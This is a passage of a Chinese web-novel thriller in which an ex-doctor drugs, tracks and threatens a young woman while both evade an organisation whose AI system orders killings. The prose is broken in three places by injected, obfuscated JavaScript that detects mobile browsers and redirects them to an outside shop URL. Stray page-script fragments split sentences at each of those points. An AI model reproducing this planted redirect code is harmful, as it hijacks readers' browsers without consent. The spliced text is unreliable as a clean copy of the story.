“因为只有我也许能看懂那些东西。”袁问指了指自己的脑子,“你刚才试过了,药物没用。因为我自己都不知道谜底。只有当我看到父母留下的所有原件,我的脑子才能解开它。” “你要是杀了我,或者把我弄疯了,你的线索就断了。” 袁问深吸一口气,提出了她的价码: “你要帮我把我父母的东西全部拿出来,所有的遗物。我才跟你走。” 她没提“照片”。她故意说得模糊,既是为了保护核心秘密,也是为了试探亓默的底牌。 亓默看着她。 屋子里的空气安静了几秒。 然后,亓默笑了。 那是一个不带任何感情色彩的笑容。 “成交。” 亓默说道,“但我也加个条件。” “你要把你知道的有关你父母的一切,解出来之后,全部给我。” “没问题。”袁问回答得很快。 两人都很清楚。 这不是救赎。 这不是什么“姐姐救妹妹”的温情戏码。 “我不是为了你,我是为了我自己的东西。” 在这个干净、冷漠、像手术室一样的安全屋里。 两个被世界抛弃的人,互相扣住了对方的脖子,达成了这辈子最牢固、也最危险的同盟。 亓默转身,从柜子里扔出一袋压缩饼干和一瓶水。 “吃点。死了我没法交代。” 袁问接住饼干,狠狠地咬了一口,眼神阴冷地看着亓默的背影。 总有一天,我要让你把刚才那一针还回来。 但现在,她只能大口吞咽。 因为正如亓默所说,她是她唯一的生路。 8. [Ghost] 幽灵 08 安全屋的空气净化器还在嗡嗡作响,但掩盖不住空气里那股酸苦的味道。 那是胃液的味道。 “呕——” 袁问趴在马桶边,整个人像是一只被抽掉了脊骨的虾米,剧烈地痉挛着。她刚才试图吞下去的那点压缩饼干,混着黄色的胆汁,全部吐了出来。 她没吃多少,但吐得像是要把五脏六腑都翻出来。 这不仅仅是身体的虚弱。 这是创伤后应激障碍叠加药物戒断反应引发的生理性排斥。她的胃在抗议,她的神经在尖叫,那种被强光照射、被药物控制的恐惧,并没有随着逃离晨曦学校而消失,反而像附骨之疽一样爆发了。 “咳……咳咳……” 袁问满脸眼泪鼻涕,喉咙火辣辣地疼。她想站起来,但眼前一黑,膝盖一软就要往瓷砖地上栽。 一只手稳稳地托住了她的腋下。 亓默把她架回了沙发上。 “别动。” 亓默的声音依然冷,但那种冷里多了一丝职业化的严谨。 她没有再逼袁问吃东西,而是转身走到那个巨大的金属柜前。随着几声清脆的密码锁响动,柜门打开。 这一次,袁问看清了里面的东西。 那不仅仅是急救包。 那是一个微型的、设施完备的野战医疗站。手术刀、止血钳、各种规格的针剂、甚至还有便携式的生命体征监护仪,整整齐齐地码放在无菌格里。 亓默戴上了一双蓝色的□□手套。 她从冷藏柜里拿出一瓶乳白色的液体,又配了两支透明的安瓿瓶。她的动作熟练得令人发指——弹开气泡、排气、寻找静脉,整个过程行云流水。 “这是什么?”袁问看着那个尖锐的针头,本能地往后缩,声音发颤,“别……别再给我打那个药了……” “闭嘴。” 亓默一只手按住袁问乱动的手腕,另一只手精准地将留置针扎进了她手背上那根细得几乎看不见的血管里。 回血,贴胶布,调节滴速。 “甲氧氯普胺止吐,加上复方氨基酸和葡萄糖。” 亓默摘下手套,丢进垃圾桶,居高临下地看着袁问,“你现在的胃已经痉挛了,吃什么吐什么。如果不挂水,不用系统动手,两个小时后你会因为电解质紊乱休克。” 袁问愣愣地看着她。 她看着头顶挂着的输液袋,又看了看亓默。 “你……是医生?” “曾经是。” 亓默拉过一把椅子坐下,拿起听诊器,虽然没挂在脖子上,但手里把玩的姿势说明了一切。 亓默的语气平淡,“我父亲希望我救人。他觉得手里拿着手术刀,比拿着枪干净。” 她冷笑了一声,眼神里闪过一丝嘲弄。 “可惜,手术刀救不了他。” 袁问沉默了。 药液顺着血管流进身体,那种翻江倒海的恶心感慢慢压了下去。她看着这个浑身散发着血腥味、却有着一双外科医生手的女人,心里那种单纯的恐惧发生了一点微妙的变化。 “你……” 袁问犹豫了一下,还是问出了口,“你为什么这么恨这个组织?如果是为了钱,没必要冒着被系统追杀的风险救我。” “钱?” 亓默从口袋里摸出一盒烟,抽出一支想点。她看了一眼输液的袁问,动作停顿了一下,又烦躁地把烟塞回了烟盒。 她没有回答。 沉默在空气中拉长。 过了好一会儿,亓默才冷冷地开口,声音像是在陈述一份尸检报告: “五年前。那个酒店的大堂。” 听到这个词,袁问的瞳孔猛地收缩了一下,身体不受控制地僵硬了。那是她噩梦的起点,是她所有恐惧的源头。 “官方通报是‘意外斗殴’,组织内部档案写的是‘清理完成’。” 亓默抬起头,那双黑沉沉的眼睛里没有一丝温度,只有深不见底的寒意。 “但我不信档案。” “那一晚执行任务的人里,有一个人……失踪了。” “这五年,我一直在查。所有的线索都指向一个核心。那一晚,他原本的任务目标,是你父母。” “他违背了某些指令。他必须死。” “所以,袁问。” “别把自己看得太重要。我救你,不是因为你姓袁,也不是因为你可怜。” “是因为你是那场任务里唯一的线索。” 袁问看着近在咫尺的那双眼睛。 冷漠,偏执,藏着巨大的秘密。 袁问很聪明地闭上了嘴。她听懂了,这个女人和组织有血仇,但这仇恨太私密,问多了会死。 只要确定“她和组织不是一伙的”,这就够了。 “如果你解不开这个谜题,”亓默直起身,指了指头顶的药瓶,“这瓶葡萄糖就是你的断头饭。” 袁问看着她,慢慢点了点头。 “成交。” 袁问的声音不大,但很稳,“只要拿到东西。” “但我现在的状态,走不动。” 亓默看了一眼监护仪上的心率数值。 “睡吧。” 她说,“这一针里加了镇静剂。你需要让大脑强制关机四个小时。四个小时后,不管你能不能走,我也要把你拖起来。” 袁问的眼皮开始打架。 在意识消失前的最后一秒,她看到亓默转身走向了桌子,拿起了那部加密电话。 【四小时前·晨曦矫治中心·观察室】 老邢坐在那张硕大的真皮转椅上,手里把玩着那个打火机。“咔哒、咔哒”,火苗一窜一灭。 屏幕上,显示着“目标0913信号丢失”。 但他一点都不急。 “邢队,”行动组长雷子有些沉不住气,“就这么让她们跑了?系统那边的红色警报一直在响,催着要‘确认清除结果’。” “让系统闭嘴。” 老邢猛地合上打火机,眼神阴鸷,“把0913的状态改成‘已清理/尸体回收中’。先让那个死脑筋的AI拿到个像样的结果。” 就在这时,桌上的红色内线电话响了。 那是加密线路。知道这个号码的人,一只手都数得过来。 雷子下意识地要回避。 老邢摆摆手,示意他别动,然后接起了电话,按下了免提。 “喂。” “是我。” 听筒里传来了亓默的声音。没有慌乱,没有求饶,只有一种令人不舒服的冷静。 “老邢,你养的狗咬人了。” 老邢挑了挑眉,语气故作惊讶:“是吗?那还真是遗憾。可能是系统故障吧,你也知道,最近‘主模型’的算法有点激进,我也控制不了。” “别演了,老邢。” 亓默的声音里带着一丝冷意,但更多的是一种同类之间的嘲讽。 “我们都知道这是怎么回事。系统越过了你,直接给那个司机下达了最高指令。它不信任你,也不信任我。” “老邢,你在这个位置上坐了十年。以前,你是那个下棋的人。” “现在呢?系统一句话,你的人就能把枪口对准你派出去的干部。” “再这么下去,下一个被‘清理’的,是不是就是你了?” 这句话精准地扎在了老邢的肺管子上。 老邢握着听筒的手紧了紧。 他最恨的就是被架空。他是个极度自负的人,他可以接受失败,但不能接受被一串代码当成工具。 “你想说什么?”老邢冷冷地问。 “我想帮你证明,人比机器有用。” 亓默抛出了诱饵。 “系统判定0913是污染源,要直接抹除。因为它只懂计算风险,不懂计算人性。” “我给她用了药。她的脑子虽然乱,但吐出了一些很有意思的东西。” “什么东西?”老邢身体前倾。 “她提到了五年前的几个关键节点,还有几个加密账户的碎片。我觉得,她脑子里没有现成的地图,但她是一个‘解码器’。” 亓默顿了顿,开始铺设她的障眼法: “我要去验证这些线索。我需要两样东西。” “第一,我要恒通数据仓库五年前那个月的所有出入库原始日志,我要查那个时间点的物流动态。” “第二,”亓默语气变得随意,“我要把那天扣押的袁家遗物箱提出来。” “你要那个破箱子干嘛?”老邢皱眉,“技术科扫了八百遍了,那就是一堆破烂。” “因为这丫头疯了。” 亓默冷笑了一声,“药物反应太大,她现在除了哭就是闹,精神处于崩溃边缘。心理医生说这叫‘退行性防御’。她只认得小时候的玩具和画。” “我需要用那些破烂去安抚她的情绪,让她镇定下来,这样我才能把她脑子里关于账户的信息一点点抠出来。” “老邢,你也不想唯一的线索变成一个只会流口水的傻子吧?” 老邢沉默了。 他在权衡。 亓默要的东西很巧妙。“出入库日志”听起来才是真正的硬货,是用来查线索的;而“遗物箱”只不过是个安抚工具,是个为了让犯人开口的道具。 这很符合逻辑。 而且,亓默那种“我们是人类,我们要联手对抗系统”的论调,让他很受用。 “24小时。” 老邢终于开口了,“我可以帮你挡住系统24小时。我也想看看,那个自以为是的‘主模型’到底是不是错的。” “我去给仓库打招呼。你自己去拿。” “但是亓默,记住。” “你现在还是通缉犯。这是我们两个人的私下交易。” “如果你敢耍花招,或者拿了东西跑路……” “放心。”亓默淡淡地说,“我也想知道真相。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068505|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话挂断。 老邢脸上的笑容瞬间消失,取而代之的是一种捕猎者的凶狠。 他看向雷子。 “听见了吗?” 雷子立正:“听见了。邢队,真放她们进去拿资料?” “给她们。” 老邢站起来,走到落地窗前,俯瞰着这座城市。 “那箱破烂给她们无所谓。至于那个出入库日志……哼,那是海量数据,给神仙看都得看三天。她要那个,说明她还没找到方向。” “但是,我也不能让她们太轻松。” 老邢转过身,指了指雷子。 “带上你的人,去恒通仓库埋伏。” “记住,要演得像一点。” “等她们拿到东西出来,立刻动手。要打得狠,要像是在‘全力追杀’。枪声要大,场面要乱。” 雷子愣了一下:“邢队,那要是……误伤了怎么办?或者真把她们抓住了?” “蠢货!” 老邢骂了一句,“谁让你真抓了?我是让你赶鸭子!” “如果不追杀她们,以亓默的多疑,她敢信那些资料是真的?她敢带着东西去找最终的坐标?” “我要你们做那条鞭子,狠狠地抽她们,把她们赶向终点。” “同时,通知暗组,启动‘幽灵模式’。” “全城的天眼、无人机、交通探头,给我死死咬住那辆车。从她们拿到箱子的那一刻起,她们就是我的引路犬。” 老邢把烟头摁灭在窗台上。 “去吧。演出开始了。” 【四小时后·安全屋】 袁问醒了。 四个小时的强制深度睡眠加上营养输液,让她那种吃了就吐的痉挛感终于停了下来。但身体还是沉得像灌了铅。 她睁开眼,视线刚一聚焦,身体就猛地哆嗦了一下。 因为她看见了亓默。 那个给她打针的疯女人正坐在桌前,手里拿着一张刚打印出来的纸。 “醒了?” 亓默头也没抬,声音冷淡。 袁问本能地往被子里缩,呼吸急促。她还记得那种心脏狂跳、脑子却像要炸开一样的恐怖感觉。在这个女人面前,她没有任何尊严和秘密可言。 “醒了就滚起来。” 亓默随手抓起手边的一套黑色西装,扔到了沙发上。 “换上。把脸洗干净。” 袁问看着那套衣服,不敢动,也不敢问。 “怎么?还要我帮你穿?”亓默转过头,眼神凉飕飕地扫了她一眼,“还是说你想再来一针提提神?” “不……不用!” 袁问吓得差点滚下床,手忙脚乱地抓起衣服。她手指还在发抖,扣子扣错了好几次,但她不敢停,生怕慢一秒就会惹怒这个煞星。 “我们……我们要去哪?”她声音极小,带着颤音。 “恒通数据仓库。” 亓默站起身,单手扣着衬衫的扣子,左臂依然有些僵硬地垂着。她换上了一身利落的黑色西装,特意选了大一号的,好遮住里面缠得厚厚的绷带。 “我和老邢谈过了。他给了个特批,我们现在是总部派去查账的特别调查组。” 袁问愣住了,扣扣子的手停在半空。 “他……放我们走?” “他不是放我们走,他是要放长线钓大鱼。” 亓默走到袁问面前。 袁问下意识地闭上眼,缩着脖子,以为要挨打。 但亓默只是伸手帮她把扣错的领口扯平。 “听着,袁问。” 亓默凑近她的耳边,低声说道: “老邢那只老狐狸,会让我们进去,也会让我们拿到东西。但他绝不会让我们舒舒服服地离开。” “为什么?”袁问不敢睁眼。 “因为如果不追杀,我就有时间思考,有时间慢慢解密。但他等不及。他需要我们恐慌,需要我们像受惊的兔子一样,拿到东西就没命地往终点跑。” “所以,出了仓库大门,枪声就会响。” “那是他在‘赶鸭子’。” 亓默拍了拍袁问僵硬的脸颊,力道不轻。 “待会儿在里面,你要装作专家的样子;但一旦出了门,你就得拿出生死逃亡的劲头来。” “跑慢了,假戏真做,你就真的死了。” 袁问睁开眼,看着镜子里的自己。 苍白的脸,不合身的大人西装,眼神里全是惊恐和无助。她看起来根本不像什么专家,就像个被绑架的人质。 “明白了吗?”亓默问。 “明……明白。” 袁问点点头,牙齿在打架。 她没有选择。 前面是老邢的枪口,后面是亓默的针管。她只能夹在中间,拼命地活下去。 “走。” 亓默一把拽住她的胳膊,像拖个物件一样把她拖向门口。 “去拿你的遗物。别让我失望。” 9. [Ghost] 幽灵 09 黑色的奥迪A6驶入恒通数据所在的工业园区。 车厢里很安静,只有引擎低沉的轰鸣声。 亓默单手扶着方向盘,左臂不自然地垂在身侧。虽然接回去了,但一点也不听使唤。 她扫了一眼副驾驶上的袁问。 这丫头穿着那身不合身的黑色西装,缩在座位里,怀里死死抱着那个空的帆布包,准备装遗物用的。她看起来很乖,像个被吓坏了的跟班。 但亓默知道,那是装的。 在出门前给袁问整理领子的时候,亓默的手指滑过了西装的内衬领口。在那里,一枚米粒大小的无源定位芯片已经被她缝进了夹层里。 亓默不信任何人。 尤其是这种为了活命连名字都能随便编的“范水水”。 “待会儿进去,少说话。” 亓默冷冷地开口,“主管问什么,你只需要点头或者摇头。拿到东西,确认无误,我们就走。” “知道了。” 袁问低着头,声音怯怯的。 但她的眼睛盯着车窗外的倒影,眼底一片阴冷。 她在算计。 这个疯女人手里有枪,有药,还有那种让人求生不得求死不能的手段。跟她在一起,随时都可能被当成炮灰扔出去。 而且,系统追杀的是两个人。如果两个人分开跑呢? 如果我拿到了东西,然后消失在茫茫人海里……凭我的技术,藏个几年不是问题。只要那个疯女人吸引了所有的火力…… 袁问的手指在膝盖上轻轻敲击着。 这是她在那家黑网吧里打游戏时留下的习惯——每当她准备卖队友抢人头的时候,她就会这么敲。 这是一场为了生存的背叛。 车停在了B区仓库门口。 正如亓默所料,门口的安保只是象征性地扫了一下那个“老邢特批”的二维码,就立刻放行了。 “两位领导好!领导辛苦了!” 胖主管老王早就等在门口了,满脸堆笑,那张油腻的脸在阳光下反光。 “东西都准备好了,在里面,在里面。” 亓默推门下车,左臂僵硬地插在口袋里,以此掩饰伤势。她戴着墨镜,气场冷硬,没人敢盯着她看。 袁问跟在她身后,抱着包,低着头,脚步虚浮,完美扮演了一个“身体不好、性格孤僻的技术怪才”。 两人跟着胖主管走进仓库深处。 这里恒温恒湿,巨大的机柜排列成行,只有最角落的一张桌子上,放着那个落满灰尘的收纳箱。 箱子上贴着泛黄的封条:【袁家私人物品(已清洁)】。 看到那个日期的瞬间,袁问的呼吸停了一拍。 她快步走过去,不用亓默吩咐,直接伸手撕开了封条。 “哎哟,慢点,慢点。”胖主管在旁边赔笑,“都是些旧物,没什么值钱的。” 箱盖打开。 一股陈旧的霉味扑面而来。 袁问的手伸进去,触碰到那些东西的瞬间,她的指尖在颤抖。 一个缺了眼珠的泰迪熊。 几张画着歪扭小人的儿童画。 一本封面磨损的相册。 还有几件小时候穿过的旧衣服。 没有硬盘,没有芯片,甚至没有一张纸条。 在旁人眼里,这就是一箱垃圾。 但在袁问眼里,这是钥匙。 所有的线索都在这儿了。她不需要再去找什么别的地方,这箱东西本身就是地图! 只要拿着这些东西,给她一台电脑,她就能推算出父母留下的最终账户或者地址。 “怎么样?” 亓默的声音在背后响起,“是这些吗?” 袁问背对着亓默,深吸了一口气。 她迅速把相册、画和泰迪熊塞进怀里的帆布包里,动作粗鲁而急切,就像是一个精神不正常的恋物癖。 “是……是我的……” 她转过身,眼神里带着那种神经质的贪婪和惶恐,“都是我的……谁也别想抢走……” 这演技太逼真了。 或者说,这根本不需要演。那种失而复得的恐惧和占有欲,本身就是真的。 连胖主管都愣了一下,心想这特派员怎么跟个疯子似的,抱着堆破烂当宝贝。 亓默皱了皱眉,但没多说。她转头看向胖主管。 “还有一样东西。” 亓默伸出手,“五年前那个月的出入库原始数据日志。我要带走。” “哦哦,备好了,备好了。” 胖主管赶紧从兜里掏出一个黑色的加密硬盘,递给亓默,“都在这儿了,那个月的物流记录,一条不少。” 亓默接过硬盘,随手揣进兜里。 这也是戏的一部分。如果不拿这个“硬货”,只拿一箱破烂,老邢反而会起疑。 她看了一眼手表。 “行了,走。” 任务完成得太顺利了。顺利得让她心里的那根弦绷得更紧。 两人走出仓库大门。 灯光有些刺眼。 那辆黑色的奥迪A6就停在十米外。 就在亓默伸手去拉车门的一瞬间。 “砰!” 一声枪响,打破了工业园区的宁静。 奥迪车的后视镜直接被打得粉碎,碎片飞溅。 “我就知道!” 亓默反应很快,甚至没去看来袭的方向。她一把按住袁问的脑袋,两人狼狈地滚到了车尾的盲区。 “哒哒哒——” 紧接着,密集的枪声响了起来。 三辆黑色的越野车不知从哪个角落冲了出来,呈扇形包抄过来。车窗降下,黑洞洞的枪口喷吐着火舌。 子弹打在水泥地上,激起一片尘土;打在车身上,发出令人牙酸的金属撕裂声。 “不想死就上车!” 亓默拔出腰后的□□,对着最近的一辆车开了几枪,逼得对方减速。 子弹瞬间用完,亓默丢了枪。 然后她拉开车门,把袁问塞进了副驾驶。 “坐稳了!” 亓默跳上驾驶座,左手只能勉强扶着方向盘,全靠右手操作。她猛踩油门,奥迪车发出一声咆哮,轮胎摩擦地面冒出白烟,一个甩尾冲了出去。 这是一场“精心设计”的追逐战。 如果是行家,能看出后面的追兵虽然火力凶猛,但枪口都抬高了一寸。 他们打碎了玻璃,打爆了轮胎,打烂了铁皮,但就是没有一颗子弹是冲着驾驶室里的人去的。 这是老邢的命令:赶鸭子。 但身在局中的袁问不知道。 她只知道子弹就在耳边飞,碎玻璃渣子溅了她一脸。她缩在脚垫上,怀里死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068506|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着那个帆布包,恐惧让她的胃再次痉挛。 那个女人根本护不住我! 她受了伤,只有一只手能用! 跟着她,一定会被打成筛子! 车子冲进了一个复杂的立交桥匝道。 “前面有路障!” 亓默骂了一句。前方的路口被两辆横停的卡车堵死了。 这是逼她们改道。 亓默猛打方向盘,车子冲进了旁边的一条正在施工的土路。 尘土飞扬。 颠簸让亓默那只脱臼的左臂剧痛钻心,她的额头上全是冷汗,车速不由自主地慢了一点。 就是这一慢,出事了。 车子压过一个深坑,底盘发出一声巨响,似乎是传动轴断了。奥迪车失去了动力,滑行了十几米,一头撞进了路边的灌木丛里。 “下车!” 亓默一脚踹开车门,不管不顾地就要去拉袁问。 但这一次,袁问比她更快。 在车停稳的一瞬间,袁问就已经推开了副驾驶的门。 她没有等亓默。 她甚至没有回头看一眼那个满脸是血、正试图用单手解开安全带的女人。 她抱着那个帆布包,像一只受惊的兔子,钻进了旁边的下水道涵洞。 那里是视觉死角。 那里只有半人高,充满了恶臭的污水。 但那里能活命。 “袁问!回来!” 亓默的吼声被淹没在后方追兵的刹车声中。 袁问没有停。 她在心里对自己说:对不起。但我不想死。 她手脚并用地在漆黑的涵洞里爬行,但她不在乎。 她拿到了东西。 她甩掉了那个疯女人。 只要穿过这个涵洞,对面就是老城区的菜市场。那里人多,路乱,那是她的主场。 她自由了。 奥迪车旁。 亓默靠在车轮上,大口喘着气。 她看着那个黑乎乎的涵洞口,眼神里没有被背叛的愤怒,反而露出了一丝冷笑。 “跑得还挺快。” 她并没有去追。 后面的追兵已经围了上来,枪口对准了这边。 亓默举起双手,慢慢从车后站了起来。 “别开枪。” 她冷冷地看着雷子,“人跑了。” “跑了?”雷子一脸懵逼,“邢队不是让你带着她吗?” “她自己跑的,我拦不住。” 亓默指了指那个涵洞,“你们要是想钻大粪坑去追,请便。” 雷子嫌弃地看了一眼那个恶臭的洞口,那是城市排污管网,鬼知道通向哪。 亓默放下手,从口袋里掏出一个智能手机,点亮屏幕。 屏幕上,一个红色的光点正在地图上快速移动。 那是缝在袁问西装领口里的定位器。 “让她跑。” 亓默看着那个光点,眼神像是在看一只自以为逃出笼子的仓鼠。 “她拿着东西,肯定是要去解密的。那个地方,才是我要去的地方。” “而且……” 亓默摸了摸自己剧痛的左肩,嘴角勾起一抹残忍的弧度。 “这只肮脏的小老鼠,居然真的敢卖我。” “等我抓到她,我要亲手打断她的腿。” 10. [Ghost] 幽灵 10 雷子带着人围上来,枪口指着靠在车轮边的亓默。 “手举起来!抱头!” 亓默没动。她冷冷地盯着雷子耳朵里的战术耳机,声音沙哑:“摘下来。” “什么?” “不想像那个司机一样脑子抽风暴起杀人,就把那玩意儿摘下来。”亓默指了指尸体,“系统能命令他,就能杀你们。只要‘主模型’再下一次指令,你们现在的枪口对准的可能就是老邢。” 雷子僵住了,下意识地摸向耳麦。 就在这时,那辆报废奥迪的车载对讲机里,传出了老邢阴沉的声音: “雷子,给她车。” “邢队?”雷子惊愕,“可是她……” “照做。” 老邢的声音里透着一股咬牙切齿的意味,那是对某种不可控力量的深深恐惧。 “她是唯一一个‘断网’的人。” “她不接受系统的指令,她是个不受控的变量。在这个局里,只有她是干净的。” 这就是老邢的立场。 作为一个极度控制欲的管理者,他刚刚亲眼目睹了系统是如何绕过他去杀人的。这触碰了他的底线。他现在不信任任何连着网的东西,也不信任任何戴着耳机的手下。 只有亓默。 这个已经叛出体系、把系统恨之入骨的女人,反而是目前唯一一个“绝对的人类”。 “让她去追。”老邢最后说道,“我不想出意外。” 雷子深吸一口气,看了一眼亓默,然后从腰间摘下自己的车钥匙,扔在了地上。 “路虎。满油。” 亓默弯腰捡起钥匙,留下一句:“老邢,是时候去给系统申请一个牵引绳了。” 轰—— 路虎咆哮着冲出包围圈,像一头挣脱锁链的野兽。 【老城区·地下排污管网】 这里是城市的肠道。 黑暗、潮湿,充斥着令人作呕的腐烂气息。老鼠在脚边乱窜,污水没过了脚踝。 袁问手脚并用地爬行着。 她只能感觉到兴奋。 那种劫后余生的、肾上腺素飙升带来的病态兴奋。 甩掉了。 那个疯女人受了伤,又被一群持枪的壮汉包围,肯定自身难保。 谁会想到一个“娇生惯养”的大小姐会钻进这种满是大粪的地方? “我是天才……” 袁问一边爬,一边神经质地喃喃自语,“没人能抓住我……我是幽灵……” 不知爬了多久,前方终于出现了一丝微弱的光亮。 是一个检修井盖。 袁问拼尽全力,用肩膀顶开了沉重的铁盖子。 初秋的风一吹,湿透的衣服贴在身上,像是一层冰壳。刚才压下去的虚弱感又卷土重来。她开始打摆子,牙齿磕得咯咯响。 但她不能停。 手里是父母的遗物。 她根本不敢打开看。 这里到处是人,到处是窗户,天知道哪双眼睛后面连着那个杀人系统。 她只能像只受惊的老鼠,踉踉跄跄地钻进巷子口一个废弃的电话亭。这里三面有玻璃挡板,虽然脏,但至少能挡住风,能让她缩在角落里不被一眼看见。 “呼……呼……” 袁问抱着包,缩成一团,牙齿剧烈地打颤。 她现在的脑子里只有一个念头:躲起来。等到确认没人追的时候,再想办法。 就在她刚刚缩进角落的一瞬间—— 一张脸,毫无预兆地贴在了玻璃上。 那双眼睛死死地盯着她。没有愤怒,没有焦急,也没有那种猫捉老鼠的戏谑。 只有一种看死人的平静。 袁问的心跳在那一瞬间停了。 “跑啊。” 亓默的声音隔着玻璃传进来,闷闷的,却像雷一样炸响在袁问的耳膜上。 “怎么不跑了?” 亓默根本没开门。 她那只完好的右手握成拳,一拳轰碎了电话亭那块已经老化的玻璃。 没等袁问反应过来,那只手已经伸了进来,一把揪住袁问那头乱糟糟的头发。 “出来。” 一股巨大的力量传来。 袁问像是被拔萝卜一样,硬生生被从狭窄的电话亭里拖了出来,狠狠地掼在地上。 她挣扎着想爬起来,但一只沉重的战术靴已经踩在了她的胸口。 慢慢加力。 肋骨发出不堪重负的咯吱声,肺里的空气被一点点挤压出去。 “咳……咳咳……” 袁问惊恐地看着上方的亓默,双手无力地抓着那只靴子,指甲在皮面上划出刺耳的声音。 “你……你怎么……” 她想问:你怎么找到我的?这不可能!我是顺着下水道走的! 亓默没说话。 她居高临下地看着脚底下的这只“老鼠”,眼神里满是厌恶。 她俯下身,那只完好的右手伸向袁问的领口。 亓默的两根手指探进夹层,精准地抠出了那枚米粒大小的黑色芯片。 她把那个芯片举到袁问眼前,晃了晃。 亓默冷笑一声,“你是真蠢啊。” 袁问看着那个芯片,浑身的血都凉透了。 原来……从一开始,她就没逃掉过。 她以为的“金蝉脱壳”,在亓默眼里,不过是一场早已写好剧本的独角戏。她穿着这件衣服爬过下水道,忍受恶臭和寒冷,以为自己在奔向自由,其实是在给亓默当那个移动的红点。 “你那点小聪明,在我眼里就是个笑话。” 亓默收回脚,一把揪起袁问的衣领,像是拖死狗一样拖向路边停着的那辆路虎。 “我……我错了……别杀我……” 袁问的双脚在地上乱蹬,鞋子都掉了一只,哭喊着求饶,“我有用!别杀我!” 她是真的怕了。 那种刚看到希望就被一脚踩碎的绝望,比死还难受。她现在只剩下最原始的求生欲。 “闭嘴。” 她一把揪起袁问,像拖死狗一样拖向路边的路虎,拉开车门扔进去。紧接着欺身而上,单手卡住袁问的下巴,逼她直视自己充满杀意的眼睛。 “我说过,敢卖我,就打断你的腿。” 袁问疼得发不出声音,眼泪流了一脸。 “这次先记账。”亓默松手,重重甩上车门,“再敢动歪心思,我就把你剁碎了喂狗。” 车子开上国道,漫无目的地向前疾驰。 此时此刻,她们根本不知道要去哪。只是在跑,离那个城市越远越好。 后座上,那种死里逃生的恐惧还没散去,另一波更猛烈的浪潮拍了过来。 “呕——” 袁问蜷缩在角落里,抱着一个塑料袋剧烈干呕。胃里空了,连胆汁都吐不出来,但食道依然在痉挛。 这不是晕车。这是“生理性崩塌”。 刚才在下水道里那种觉得自己是天才、能掌控一切的狂喜,此刻像潮水一样退去。那是肾上腺素强行透支体能后的回光返照。现在,债主上门了。 “咳咳……手……我的手……” 袁问虚弱地呻吟。她惊恐地发现,自己的双手手指开始不受控制地向内蜷曲、僵硬,像是一对鸡爪子,怎么掰都掰不开。 剧痛从指尖蔓延到手臂。 “滋——” 亓默猛地踩下刹车,靠边停下。 她转过身,看了一眼像烂泥一样的袁问,眼神里没有一丝同情,只有一种专业的冷漠。 “呼吸性碱中毒,伴随严重脱水。” 亓默一眼就做出了诊断,“刚才跑的时候喘得像风箱一样吧?过度通气把二氧化碳排光了。这叫手足搐搦。” 她从车载急救箱里翻出一瓶水,一包盐,又从口袋里摸出两颗硬糖咬碎扔进去,晃了晃。 “不想死就闭上嘴,用鼻子呼吸。慢一点。” 亓默捏住袁问的下巴,把那瓶简易的“糖盐水”硬生生灌了进去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068507|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳咳咳!” 咸涩中带着甜味的液体顺着喉咙流下去,虽然难受,但那个即将干枯的身体像海绵一样贪婪地吸收着这点水分。 灌完水,亓默把空瓶子扔到脚边。 “你以为你刚才那是聪明?” 亓默看着瘫软的袁问,“那是肾上腺素过载。就像给报废发动机打了强心针。实际上,你那时候的判断力是负数。如果没有那个定位器,你现在已经因为体温过低和电解质紊乱,死在那个电话亭里了。” 袁问闭上眼睛,眼角滑下一滴泪。 她不得不承认,在这场博弈里,她弱得连逃跑的资格都没有。 车厢里沉默了几秒。 “姐……” 袁问缩在角落里,声音虚弱,带着一种垂死挣扎般的希冀: “既然他们要杀我,既然你是好人……我们为什么不去派出所?” “我可以自首,我就偷过一点清洁工的工资。警察会保护我的,对吧?总比跟着你到处乱撞强。” “呵。” 亓默目视前方,发出一声极尽嘲讽的冷笑。 她看了一眼后视镜里天真的袁问,语气像是在给小学生讲残酷的社会学: “去派出所?然后呢?” “告诉民警,有一群拿着合法证件的‘安保人员’在追杀你?” 亓默单手扶着方向盘,另一只手指了指自己,又指了指袁问: “动动你的猪脑子。看看我们现在的样子。” “我,开着抢来的车,身上带着管制刀具,没有证件。你,是个黑户,档案里全是盗窃前科。” “在警察眼里,我们才是那个不稳定的炸弹。” “可是……”袁问还想争辩。 “没有可是。” 亓默打断了她,声音冰冷刺骨: “警察办案讲的是证据链,是程序正义。立案、调查、取证,这需要时间,最快也要 24 小时。” “但组织不需要。” “只要我们走进局子,前脚刚登记,后脚就会冒出个人拿着一份伪造得天衣无缝的‘精神鉴定书’或者‘监护人委托书’,大摇大摆地把你领走。” 